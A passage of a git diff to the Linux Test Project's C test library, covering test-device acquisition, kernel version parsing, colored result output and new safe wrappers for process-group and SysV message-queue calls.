+	uint64_t ltp_dev_size;
 
-	if (device_acquired)
-		tst_brkm(TBROK, cleanup_fn, "Device allready acquired");
-
-	if (!tst_tmpdir_created()) {
-		tst_brkm(TBROK, cleanup_fn,
-		         "Cannot acquire device without tmpdir() created");
-	}
+	acq_dev_size = size > DEV_SIZE_MB ? size : DEV_SIZE_MB;
 
 	dev = getenv("LTP_DEV");
 
 	if (dev) {
 		tst_resm(TINFO, "Using test device LTP_DEV='%s'", dev);
 
-		SAFE_STAT(cleanup_fn, dev, &st);
+		if (stat(dev, &st)) {
+			tst_resm(TWARN | TERRNO, "stat() failed");
+			return NULL;
+		}
 
 		if (!S_ISBLK(st.st_mode)) {
-			tst_brkm(TBROK, cleanup_fn,
-			         "%s is not a block device", dev);
+			tst_resm(TWARN, "%s is not a block device", dev);
+			return NULL;
 		}
 
-		if (tst_fill_file(dev, 0, 1024, 512)) {
-			tst_brkm(TBROK | TERRNO, cleanup_fn,
-				 "Failed to clear the first 512k of %s", dev);
+		fd = open(dev, O_RDONLY);
+		if (fd < 0) {
+			tst_resm(TWARN | TERRNO,
+				 "open(%s, O_RDONLY) failed", dev);
+			return NULL;
 		}
 
-		return dev;
+		if (ioctl(fd, BLKGETSIZE64, &ltp_dev_size)) {
+			tst_resm(TWARN | TERRNO,
+				 "ioctl(fd, BLKGETSIZE64, ...) failed");
+			close(fd);
+			return NULL;
+		}
+
+		if (close(fd)) {
+			tst_resm(TWARN | TERRNO,
+				 "close(fd) failed");
+			return NULL;
+		}
+
+		ltp_dev_size = ltp_dev_size/1024/1024;
+
+		if (acq_dev_size <= ltp_dev_size) {
+			if (tst_fill_file(dev, 0, 1024, 512)) {
+				tst_resm(TWARN | TERRNO,
+					 "Failed to clear the first 512k of %s",
+					 dev);
+			}
+
+			return dev;
+		}
+
+		tst_resm(TINFO, "Skipping $LTP_DEV size %"PRIu64"MB, requested size %uMB",
+				ltp_dev_size, acq_dev_size);
 	}
 
-	if (tst_fill_file(DEV_FILE, 0, 1024, 102400)) {
-		tst_brkm(TBROK | TERRNO, cleanup_fn,
-		         "Failed to create " DEV_FILE);
-
+	if (tst_fill_file(DEV_FILE, 0, 1024, 1024 * acq_dev_size)) {
+		tst_resm(TWARN | TERRNO, "Failed to create " DEV_FILE);
+		return NULL;
 	}
 
 	if (find_free_loopdev())
 		return NULL;
 
-	attach_device(cleanup_fn, dev_path, DEV_FILE);
+	if (attach_device(dev_path, DEV_FILE))
+		return NULL;
 
 	device_acquired = 1;
 
 	return dev_path;
 }
 
-void tst_release_device(const char *dev)
+const char *tst_acquire_device_(void (cleanup_fn)(void), unsigned int size)
 {
+	const char *device;
+
+	if (device_acquired) {
+		tst_brkm(TBROK, cleanup_fn, "Device allready acquired");
+		return NULL;
+	}
+
+	if (!tst_tmpdir_created()) {
+		tst_brkm(TBROK, cleanup_fn,
+		         "Cannot acquire device without tmpdir() created");
+		return NULL;
+	}
+
+	device = tst_acquire_device__(size);
+
+	if (!device) {
+		tst_brkm(TBROK, cleanup_fn, "Failed to acquire device");
+		return NULL;
+	}
+
+	return device;
+}
+
+int tst_release_device(const char *dev)
+{
+	int ret;
+
 	if (getenv("LTP_DEV"))
-		return;
+		return 0;
 
 	/*
 	 * Loop device was created -> we need to deatch it.
 	 *
 	 * The file image is deleted in tst_rmdir();
 	 */
-	detach_device(dev);
+	ret = detach_device(dev);
 
 	device_acquired = 0;
+
+	return ret;
 }
 
 int tst_umount(const char *path)
diff --git a/lib/tst_fs_has_free.c b/lib/tst_fs_has_free.c
index 5c10376..e82dfa8 100644
--- a/lib/tst_fs_has_free.c
+++ b/lib/tst_fs_has_free.c
@@ -34,6 +34,7 @@
 	if (statfs(path, &sf)) {
 		tst_brkm(TBROK | TERRNO, cleanup,
 			 "tst_fs_has_free: failed to statfs(%s)", path);
+		return 0;
 	}
 
 	if ((uint64_t)sf.f_bavail * sf.f_bsize >= (uint64_t)size * mult)
diff --git a/lib/tst_fs_link_count.c b/lib/tst_fs_link_count.c
index ca0c77e..860510d 100644
--- a/lib/tst_fs_link_count.c
+++ b/lib/tst_fs_link_count.c
@@ -50,8 +50,10 @@
 		SAFE_MKDIR(cleanup, dir, 0744);
 
 	SAFE_STAT(cleanup, dir, &s);
-	if (!S_ISDIR(s.st_mode))
+	if (!S_ISDIR(s.st_mode)) {
 		tst_brkm(TBROK, cleanup, "%s is not directory", dir);
+		return 0;
+	}
 
 	sprintf(base_filename, "%s/testfile0", dir);
 	SAFE_TOUCH(cleanup, base_filename, 0644, NULL);
@@ -70,6 +72,7 @@
 					 "hard links for %s have %i, should be"
 					 " %d", base_filename,
 					 (int)s.st_nlink, i);
+				return 0;
 			} else {
 				tst_resm(TINFO, "the maximum number of hard "
 					 "links to %s is hit: %d",
@@ -85,6 +88,7 @@
 			tst_brkm(TBROK, cleanup, "link(%s, %s) failed "
 				 "unexpectedly: %s", base_filename,
 				 link_filename, strerror(errno));
+			return 0;
 		}
 	}
 
@@ -110,8 +114,10 @@
 		SAFE_MKDIR(cleanup, dir, 0744);
 
 	SAFE_STAT(cleanup, dir, &s);
-	if (!S_ISDIR(s.st_mode))
+	if (!S_ISDIR(s.st_mode)) {
 		tst_brkm(TBROK, cleanup, "%s is not directory", dir);
+		return 0;
+	}
 
 	/* for current kernel, subdir limit is not availiable for all fs */
 	fs_type = tst_fs_type(cleanup, dir);
@@ -144,6 +150,7 @@
 				tst_brkm(TBROK, cleanup, "%s link counts have"
 					 "%d, should be %d", dir,
 					 (int)s.st_nlink, i + 2);
+				return 0;
 			} else {
 				tst_resm(TINFO, "the maximum subdirectories in "
 				 "%s is hit: %d", dir, (int)s.st_nlink);
@@ -158,6 +165,7 @@
 			tst_brkm(TBROK, cleanup, "mkdir(%s, 0755) failed "
 				 "unexpectedly: %s", dirname,
 				 strerror(errno));
+			return 0;
 		}
 
 	}
diff --git a/lib/tst_fs_type.c b/lib/tst_fs_type.c
index c6c61ec..5fbf0f4 100644
--- a/lib/tst_fs_type.c
+++ b/lib/tst_fs_type.c
@@ -37,6 +37,7 @@
 	if (statfs(path, &sbuf)) {
 		tst_brkm(TBROK | TERRNO, cleanup,
 		         "tst_fs_type: Failed to statfs(%s)", path);
+		return 0;
 	}
 
 	return sbuf.f_type;
diff --git a/lib/tst_kernel.c b/lib/tst_kernel.c
new file mode 100644
index 0000000..71303fc
--- /dev/null
+++ b/lib/tst_kernel.c
@@ -0,0 +1,38 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <sys/utsname.h>
+#include "test.h"
+#include "tst_kernel.h"
+
+int tst_kernel_bits(void)
+{
+	struct utsname buf;
+	int kernel_bits;
+
+	if (uname(&buf)) {
+		tst_brkm(TBROK | TERRNO, NULL, "uname()");
+		return -1;
+	}
+
+	kernel_bits = strstr(buf.machine, "64") ? 64 : 32;
+
+	tst_resm(TINFO, "uname.machine=%s kernel is %ibit",
+	         buf.machine, kernel_bits);
+
+	return kernel_bits;
+}
diff --git a/lib/tst_kvercmp.c b/lib/tst_kvercmp.c
index 068befc..dc3bb66 100644
--- a/lib/tst_kvercmp.c
+++ b/lib/tst_kvercmp.c
@@ -39,13 +39,10 @@
 
 	*d = v;
 
-	if (*end != '.')
-		return NULL;
-
-	return end + 1;
+	return end;
 }
 
-void tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
+int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
 {
 	const char *str = str_kver;
 
@@ -54,31 +51,43 @@
 	*v3 = 0;
 
 	if (!(str = parse_digit(str, v1)))
-		goto err;
+		return 1;
+
+	if (*(str++) != '.')
+		return 1;
 
 	if (!(str = parse_digit(str, v2)))
-		goto err;
+		return 1;
 
 	/*
-	 * We ignore all errors here in order not to fail with versions as
-	 * "2.4" or "2.6.18".
+	 * Check for a short version e.g '2.4'
 	 */
-	parse_digit(str, v3);
+	if (*str == ' ' || *str == '\0')
+		return 0;
 
-	return;
-err:
-	tst_resm(TWARN,
-		 "Invalid kernel version %s, expected %%d.%%d.%%d", str_kver);
+	if (*(str++) != '.')
+		return 1;
+
+	/*
+	 * Ignore rest of the string in order not to break on versions as
+	 * 4.8.1-52-default.
+	 */
+	if (!parse_digit(str, v3))
+		return 1;
+
+	return 0;
 }
 
-int tst_kvercmp(int r1, int r2, int r3)
+int tst_kvcmp(const char *cur_kver, int r1, int r2, int r3)
 {
 	int a1, a2, a3;
 	int testver, currver;
-	struct utsname uval;
 
-	uname(&uval);
-	tst_parse_kver(uval.release, &a1, &a2, &a3);
+	if (tst_parse_kver(cur_kver, &a1, &a2, &a3)) {
+		tst_resm(TWARN,
+			 "Invalid kernel version %s, expected %%d.%%d.%%d",
+		         cur_kver);
+	}
 
 	testver = (r1 << 16) + (r2 << 8) + r3;
 	currver = (a1 << 16) + (a2 << 8) + a3;
@@ -86,7 +95,16 @@
 	return currver - testver;
 }
 
-static int tst_kexvcmp(char *tst_exv, char *cur_ver)
+int tst_kvercmp(int r1, int r2, int r3)
+{
+	struct utsname uval;
+
+	uname(&uval);
+
+	return tst_kvcmp(uval.release, r1, r2, r3);
+}
+
+int tst_kvexcmp(const char *tst_exv, const char *cur_ver)
 {
 	int c1 = 0, c2 = 0, c3 = 0, c4 = 0, c5 = 0;
 	int t1 = 0, t2 = 0, t3 = 0, t4 = 0, t5 = 0;
@@ -107,24 +125,33 @@
 	return c5 - t5;
 }
 
+const char *tst_kvcmp_distname(const char *kver)
+{
+	if (strstr(kver, ".el5uek"))
+		return "OL5UEK";
+
+	if (strstr(kver, ".el5"))
+		return "RHEL5";
+
+	if (strstr(kver, ".el6uek"))
+		return "OL6UEK";
+
+	if (strstr(kver, ".el6"))
+		return "RHEL6";
+
+	return NULL;
+}
+
 int tst_kvercmp2(int r1, int r2, int r3, struct tst_kern_exv *vers)
 {
 	int i;
+	const char *kver;
 	struct utsname uval;
-	char *kver;
-	const char *cur_dist_name = NULL;
+	const char *cur_dist_name;
 
 	uname(&uval);
 	kver = uval.release;
-	if (strstr(kver, ".el5uek")) {
-		cur_dist_name = "OL5UEK";
-	} else if (strstr(kver, ".el5")) {
-		cur_dist_name = "RHEL5";
-	} else if (strstr(kver, ".el6uek")) {
-		cur_dist_name = "OL6UEK";
-	} else if (strstr(kver, ".el6")) {
-		cur_dist_name = "RHEL6";
-	}
+	cur_dist_name = tst_kvcmp_distname(kver);
 
 	if (cur_dist_name == NULL)
 		return tst_kvercmp(r1, r2, r3);
@@ -133,9 +160,9 @@
 		if (!strcmp(vers[i].dist_name, cur_dist_name)) {
 			tst_resm(TINFO, "Detected %s using kernel version %s",
 				 cur_dist_name, kver);
-			return tst_kexvcmp(vers[i].extra_ver, kver);
+			return tst_kvexcmp(vers[i].extra_ver, kver);
 		}
 	}
 
-	return tst_kvercmp(r1, r2, r3);
+	return tst_kvcmp(kver, r1, r2, r3);
 }
diff --git a/lib/tst_mkfs.c b/lib/tst_mkfs.c
index 734cf9b..f2e40ec 100644
--- a/lib/tst_mkfs.c
+++ b/lib/tst_mkfs.c
@@ -21,20 +21,26 @@
 
 #define OPTS_MAX 32
 
-void tst_mkfs(void (cleanup_fn)(void), const char *dev,
-              const char *fs_type, const char *const fs_opts[],
-              const char *extra_opt)
+void tst_mkfs_(const char *file, const int lineno, void (cleanup_fn)(void),
+	       const char *dev, const char *fs_type,
+	       const char *const fs_opts[], const char *extra_opt)
 {
 	int i, pos = 1, ret;
 	char mkfs[64];
 	const char *argv[OPTS_MAX] = {mkfs};
 	char fs_opts_str[1024] = "";
 
-	if (!dev)
-		tst_brkm(TBROK, cleanup_fn, "No device specified");
+	if (!dev) {
+		tst_brkm(TBROK, cleanup_fn,
+			 "%s:%d: No device specified", file, lineno);
+		return;
+	}
 
-	if (!fs_type)
-		tst_brkm(TBROK, cleanup_fn, "No fs_type specified");
+	if (!fs_type) {
+		tst_brkm(TBROK, cleanup_fn,
+			 "%s:%d: No fs_type specified", file, lineno);
+		return;
+	}
 
 	snprintf(mkfs, sizeof(mkfs), "mkfs.%s", fs_type);
 
@@ -44,7 +50,9 @@
 
 			if (pos + 2 > OPTS_MAX) {
 				tst_brkm(TBROK, cleanup_fn,
-				         "Too much mkfs options");
+				         "%s:%d: Too much mkfs options",
+					 file, lineno);
+				return;
 			}
 
 			if (i)
@@ -60,7 +68,8 @@
 
 		if (pos + 1 > OPTS_MAX) {
 			tst_brkm(TBROK, cleanup_fn,
-			         "Too much mkfs options");
+			         "%s:%d: Too much mkfs options", file, lineno);
+			return;
 		}
 	}
 
@@ -75,10 +84,10 @@
 	break;
 	case 255:
 		tst_brkm(TCONF, cleanup_fn,
-			 "%s not found in $PATH", mkfs);
+			 "%s:%d: %s not found in $PATH", file, lineno, mkfs);
 	default:
 		tst_brkm(TBROK, cleanup_fn,
-			 "%s failed with %i", mkfs, ret);
+			 "%s:%d: %s failed with %i", mkfs, ret, file, lineno);
 	}
 }
 
@@ -93,14 +102,3 @@
 
 	return DEFAULT_FS_TYPE;
 }
-
-void safe_mkfs(const int lineno, const char *fname, const char *dev,
-               const char *fs_type, const char *const fs_opts[],
-               const char *extra_opt)
-{
-	/* ignore for now, will fix once all tst_mkfs() users are converted */
-	(void)lineno;
-	(void)fname;
-
-	tst_mkfs(NULL, dev, fs_type, fs_opts, extra_opt);
-}
diff --git a/lib/tst_module.c b/lib/tst_module.c
index fd4f019..ed39952 100644
--- a/lib/tst_module.c
+++ b/lib/tst_module.c
@@ -47,6 +47,7 @@
 			tst_brkm(TBROK | TERRNO, cleanup_fn,
 				"asprintf failed at %s:%d",
 				__FILE__, __LINE__);
+			return;
 		}
 		err = access(buf, F_OK);
 	}
@@ -58,6 +59,7 @@
 			tst_brkm(TBROK | TERRNO, cleanup_fn,
 				"asprintf failed at %s:%d",
 				__FILE__, __LINE__);
+			return;
 		}
 		err = access(buf, F_OK);
 	}
@@ -66,6 +68,7 @@
 		free(buf);
 		tst_brkm(TCONF, cleanup_fn, "Failed to find module '%s'",
 			mod_name);
+		return;
 	}
 
 	if (mod_path != NULL)
diff --git a/lib/tst_net.c b/lib/tst_net.c
index f55e107..f842e94 100644
--- a/lib/tst_net.c
+++ b/lib/tst_net.c
@@ -54,20 +54,29 @@
 	default:
 		tst_brkm(TBROK, cleanup_fn,
 			"tst_get_unused_port unknown family");
+		return -1;
 	}
 
 	sock = socket(addr->sa_family, type, 0);
-	if (sock < 0)
+	if (sock < 0) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn, "socket failed");
+		return -1;
+	}
 
-	if (bind(sock, addr, slen) < 0)
+	if (bind(sock, addr, slen) < 0) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn, "bind failed");
+		return -1;
+	}
 
-	if (getsockname(sock, addr, &slen) == -1)
+	if (getsockname(sock, addr, &slen) == -1) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn, "getsockname failed");
+		return -1;
+	}
 
-	if (close(sock) == -1)
+	if (close(sock) == -1) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn, "close failed");
+		return -1;
+	}
 
 	switch (family) {
 	case AF_INET:
diff --git a/lib/tst_path_has_mnt_flags.c b/lib/tst_path_has_mnt_flags.c
index ba66105..ea910ea 100644
--- a/lib/tst_path_has_mnt_flags.c
+++ b/lib/tst_path_has_mnt_flags.c
@@ -44,12 +44,14 @@
 	if (access(path, F_OK) == -1) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			"tst_path_has_mnt_flags: path %s doesn't exist", path);
+		return -1;
 	}
 
 	f = setmntent("/proc/mounts", "r");
 	if (f == NULL) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			"tst_path_has_mnt_flags: failed to open /proc/mounts");
+		return -1;
 	}
 
 	while ((mnt = getmntent(f))) {
diff --git a/lib/tst_res.c b/lib/tst_res.c
index b388d0d..ff0ad68 100644
--- a/lib/tst_res.c
+++ b/lib/tst_res.c
@@ -50,6 +50,7 @@
 #include "test.h"
 #include "usctest.h"
 #include "ltp_priv.h"
+#include "tst_ansi_color.h"
 
 long TEST_RETURN;
 int TEST_ERRNO;
@@ -79,6 +80,10 @@
 	assert(strlen(buf) > 0);		\
 } while (0)
 
+#if defined(__ANDROID__) && !defined(PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP)
+#define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP PTHREAD_RECURSIVE_MUTEX_INITIALIZER;
+#endif
+
 static pthread_mutex_t tmutex = PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP;
 
 static void check_env(void);
@@ -254,7 +259,7 @@
 	const char *type;
 	int ttype_result = TTYPE_RESULT(ttype);
 	char message[USERMESG];
-	size_t size;
+	size_t size = 0;
 
 	/*
 	 * Save the test result type by ORing ttype into the current exit value
@@ -280,13 +285,13 @@
 	 * Build the result line and print it.
 	 */
 	type = strttype(ttype);
+
 	if (T_mode == VERBOSE) {
-		size = snprintf(message, sizeof(message),
-				"%-8s %4d  %s  :  %s", tcid, tnum, type, tmesg);
+		size += snprintf(message + size, sizeof(message) - size,
+				"%-8s %4d  ", tcid, tnum);
 	} else {
-		size = snprintf(message, sizeof(message),
-				"%-8s %4d       %s  :  %s",
-				tcid, tnum, type, tmesg);
+		size += snprintf(message + size, sizeof(message) - size,
+				"%-8s %4d       ", tcid, tnum);
 	}
 
 	if (size >= sizeof(message)) {
@@ -294,6 +299,18 @@
 		abort();
 	}
 
+	if (tst_color_enabled(STDOUT_FILENO))
+		size += snprintf(message + size, sizeof(message) - size,
+		"%s%s%s  :  %s", tst_ttype2color(ttype), type, ANSI_COLOR_RESET, tmesg);
+	else
+		size += snprintf(message + size, sizeof(message) - size,
+		"%s  :  %s", type, tmesg);
+
+	if (size >= sizeof(message)) {
+		printf("%s: %i: line too long\n", __func__, __LINE__);
+		abort();
+	}
+
 	if (ttype & TERRNO) {
 		size += snprintf(message + size, sizeof(message) - size,
 				 ": errno=%s(%i): %s", tst_strerrno(err),
@@ -500,29 +517,34 @@
 		tst_res__(file, lineno, ttype, "%s", tmesg);
 }
 
+typedef void (*tst_res_func_t)(const char *file, const int lineno,
+		int ttype, const char *fmt, ...);
+
 void tst_resm_hexd_(const char *file, const int lineno, int ttype,
 	const void *buf, size_t size, const char *arg_fmt, ...)
 {
-	NO_NEWLIB_ASSERT(file, lineno);
-
-	pthread_mutex_lock(&tmutex);
-
 	char tmesg[USERMESG];
-
-	EXPAND_VAR_ARGS(tmesg, arg_fmt, USERMESG);
-
 	static const size_t symb_num	= 2; /* xx */
 	static const size_t size_max	= 16;
-	size_t offset = strlen(tmesg);
+	size_t offset;
+	size_t i;
 	char *pmesg = tmesg;
+	tst_res_func_t res_func;
+
+	if (tst_test)
+		res_func = tst_res_;
+	else
+		res_func = tst_res__;
+
+	EXPAND_VAR_ARGS(tmesg, arg_fmt, USERMESG);
+	offset = strlen(tmesg);
 
 	if (size > size_max || size == 0 ||
 		(offset + size * (symb_num + 1)) >= USERMESG)
-		tst_res__(file, lineno, ttype, "%s", tmesg);
+		res_func(file, lineno, ttype, "%s", tmesg);
 	else
 		pmesg += offset;
 
-	size_t i;
 	for (i = 0; i < size; ++i) {
 		/* add space before byte except first one */
 		if (pmesg != tmesg)
@@ -531,12 +553,10 @@
 		sprintf(pmesg, "%02x", ((unsigned char *)buf)[i]);
 		pmesg += symb_num;
 		if ((i + 1) % size_max == 0 || i + 1 == size) {
-			tst_res__(file, lineno, ttype, "%s", tmesg);
+			res_func(file, lineno, ttype, "%s", tmesg);
 			pmesg = tmesg;
 		}
 	}
-
-	pthread_mutex_unlock(&tmutex);
 }
 
 void tst_brkm_(const char *file, const int lineno, int ttype,
diff --git a/lib/tst_resource.c b/lib/tst_resource.c
index e283f86..78450df 100644
--- a/lib/tst_resource.c
+++ b/lib/tst_resource.c
@@ -54,9 +54,11 @@
 	} else {
 		startdir = tst_get_startwd();
 		if (startdir[0] == 0) {
-			if (getcwd(curdir, PATH_MAX) == NULL)
+			if (getcwd(curdir, PATH_MAX) == NULL) {
 				tst_brkm(TBROK | TERRNO, NULL,
 					"tst_dataroot getcwd");
+				return;
+			}
 			startdir = curdir;
 		}
 		ret = snprintf(dataroot, PATH_MAX, "%s/datafiles", startdir);
@@ -103,6 +105,7 @@
 		tst_brkm(TBROK, cleanup_fn,
 		         "Temporary directory doesn't exist at %s:%d",
 		         file, lineno);
+		return;
 	}
 
 	if (dest == NULL)
diff --git a/lib/tst_run_cmd.c b/lib/tst_run_cmd.c
index 6fae573..8e4bf6b 100644
--- a/lib/tst_run_cmd.c
+++ b/lib/tst_run_cmd.c
@@ -42,6 +42,7 @@
 	if (argv == NULL || argv[0] == NULL) {
 		tst_brkm(TBROK, cleanup_fn,
 			"argument list is empty at %s:%d", __FILE__, __LINE__);
+		return -1;
 	}
 
 	/*
@@ -58,6 +59,7 @@
 	if (pid == -1) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn, "vfork failed at %s:%d",
 			__FILE__, __LINE__);
+		return -1;
 	}
 	if (!pid) {
 		/* redirecting stdout and stderr if needed */
@@ -82,6 +84,7 @@
 	if (waitpid(pid, &ret, 0) != pid) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn, "waitpid failed at %s:%d",
 			__FILE__, __LINE__);
+		return -1;
 	}
 
 	signal(SIGCHLD, old_handler);
@@ -89,14 +92,17 @@
 	if (!WIFEXITED(ret)) {
 		tst_brkm(TBROK, cleanup_fn, "failed to exec cmd '%s' at %s:%d",
 			argv[0], __FILE__, __LINE__);
+		return -1;
 	}
 
 	rc = WEXITSTATUS(ret);
 
-	if ((!pass_exit_val) && rc)
+	if ((!pass_exit_val) && rc) {
 		tst_brkm(TBROK, cleanup_fn,
 			 "'%s' exited with a non-zero code %d at %s:%d",
 			 argv[0], rc, __FILE__, __LINE__);
+		return -1;
+	}
 
 	return rc;
 }
diff --git a/lib/tst_safe_macros.c b/lib/tst_safe_macros.c
new file mode 100644
index 0000000..e7f5095
--- /dev/null
+++ b/lib/tst_safe_macros.c
@@ -0,0 +1,49 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+
+int safe_setpgid(const char *file, const int lineno, pid_t pid, pid_t pgid)
+{
+	int rval;
+
+	rval = setpgid(pid, pgid);
+	if (rval) {
+		tst_brk(TBROK | TERRNO,
+		        "%s:%d: setpgid(%i, %i) failed",
+			file, lineno, pid, pgid);
+	}
+
+	return rval;
+}
+
+pid_t safe_getpgid(const char *file, const int lineno, pid_t pid)
+{
+	pid_t pgid;
+
+	pgid = getpgid(pid);
+	if (pgid == -1) {
+		tst_brk(TBROK | TERRNO,
+			"%s:%d: getpgid(%i) failed", file, lineno, pid);
+	}
+
+	return pgid;
+}
diff --git a/lib/tst_safe_sysv_ipc.c b/lib/tst_safe_sysv_ipc.c
new file mode 100644
index 0000000..cb2b304
--- /dev/null
+++ b/lib/tst_safe_sysv_ipc.c
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2017 Xiao yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+
+int safe_msgget(const char *file, const int lineno, key_t key, int msgflg)
+{
+	int rval;
+
+	rval = msgget(key, msgflg);
+	if (rval == -1) {
+		tst_brk(TBROK | TERRNO, "%s:%d: msgget(%i, %x) failed",
+			file, lineno, (int)key, msgflg);
+	}
+
+	return rval;
+}
+
+int safe_msgsnd(const char *file, const int lineno, int msqid, const void *msgp,
+		size_t msgsz, int msgflg)
+{
+	int rval;
+
+	rval = msgsnd(msqid, msgp, msgsz, msgflg);
+	if (rval == -1) {
+		tst_brk(TBROK | TERRNO,
+			"%s:%d: msgsnd(%i, %p, %zu, %x) failed",
+			file, lineno, msqid, msgp, msgsz, msgflg);
+	}
+
+	return rval;
+}
+
+ssize_t safe_msgrcv(const char *file, const int lineno, int msqid, void *msgp,
+		size_t msgsz, long msgtyp, int msgflg)
+{
+	ssize_t rval;
+
+	rval = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
+	if (rval == -1) {
+		tst_brk(TBROK | TERRNO,
+			"%s:%d: msgrcv(%i, %p, %zu, %li, %x) failed",
+			file, lineno, msqid, msgp, msgsz, msgtyp, msgflg);
+	}
+
+	return rval;
+}
+
+int safe_msgctl(const char *file, const int lineno, int msqid, int cmd,
+		struct msqid_ds *buf)
+{
+	int  rval;
+
+	rval = msgctl(msqid, cmd, buf);
+	if (rval == -1) {
+		tst_brk(TBROK | TERRNO, "%s:%d: msgctl(%i, %i, %p) failed",
+			file, lineno, msqid, cmd, buf);
+	}
+
+	return rval;
+}
diff --git a/lib/tst_sig.c b/lib/tst_sig.c
index 3af5ffd..36565e1 100644
--- a/lib/tst_sig.c
+++ b/lib/tst_sig.c
@@ -49,7 +49,7 @@
 		fork_flag - set to FORK or NOFORK depending upon whether the
 			calling program executes a fork() system call.  It
 			is normally the case that the calling program treats
-			SIGCLD as an expected signal if fork() is being used.
+			SIGCHLD as an expected signal if fork() is being used.
 
 		handler - a pointer to the unexpected signal handler to
 			be executed after an unexpected signal has been
@@ -82,7 +82,7 @@
 
 /****************************************************************************
  * tst_sig() : set-up to catch unexpected signals.  fork_flag is set to NOFORK
- *    if SIGCLD is to be an "unexpected signal", otherwise it is set to
+ *    if SIGCHLD is to be an "unexpected signal", otherwise it is set to
  *    FORK.  cleanup points to a cleanup routine to be executed before
  *    tst_exit is called (cleanup is set to NULL if no cleanup is desired).
  *    handler is a pointer to the signal handling routine (if handler is
@@ -117,7 +117,7 @@
 	for (sig = 1; sig < NSIG; sig++) {
 		/*
 		 * SIGKILL is never unexpected.
-		 * SIGCLD is only unexpected when
+		 * SIGCHLD is only unexpected when
 		 *    no forking is being done.
 		 * SIGINFO is used for file quotas and should be expected
 		 */
@@ -205,7 +205,7 @@
 #endif
 			break;
 
-		case SIGCLD:
+		case SIGCHLD:
 			if (fork_flag == FORK)
 				continue;
 
diff --git a/lib/tst_sig_proc.c b/lib/tst_sig_proc.c
new file mode 100644
index 0000000..579047a
--- /dev/null
+++ b/lib/tst_sig_proc.c
@@ -0,0 +1,40 @@
+/*
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ */
+
+#include <stdlib.h>
+#include <sys/types.h>
+
+#include "tst_sig_proc.h"
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+
+pid_t create_sig_proc(int sig, int count, unsigned int usec)
+{
+	pid_t pid, cpid;
+
+	pid = getpid();
+	cpid = SAFE_FORK();
+
+	if (cpid == 0) {
+		while (count-- > 0) {
+			usleep(usec);
+			if (kill(pid, sig) == -1)
+				break;
+		}
+		exit(0);
+	}
+
+	return cpid;
+}
diff --git a/lib/tst_test.c b/lib/tst_test.c
index cd7a8ed..fa1417f 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -29,6 +29,7 @@
 #include "tst_test.h"
 #include "tst_device.h"
 #include "lapi/futex.h"
+#include "tst_ansi_color.h"
 
 #include "old_resource.h"
 #include "old_device.h"
@@ -36,16 +37,17 @@
 
 struct tst_test *tst_test;
 
-static char tmpdir_created;
 static int iterations = 1;
 static float duration = -1;
 static pid_t main_pid, lib_pid;
+static int device_mounted;
 
 struct results {
 	int passed;
 	int skipped;
 	int failed;
 	int warnings;
+	unsigned int timeout;
 };
 
 static struct results *results;
@@ -70,14 +72,20 @@
 {
 	size_t size = getpagesize();
 
-#ifndef ANDROID
-	//TODO: Fallback to tst_tmpdir() if /dev/shm does not exits?
-	snprintf(shm_path, sizeof(shm_path), "/dev/shm/ltp_%s_%d",
-	         tst_test->tid, getpid());
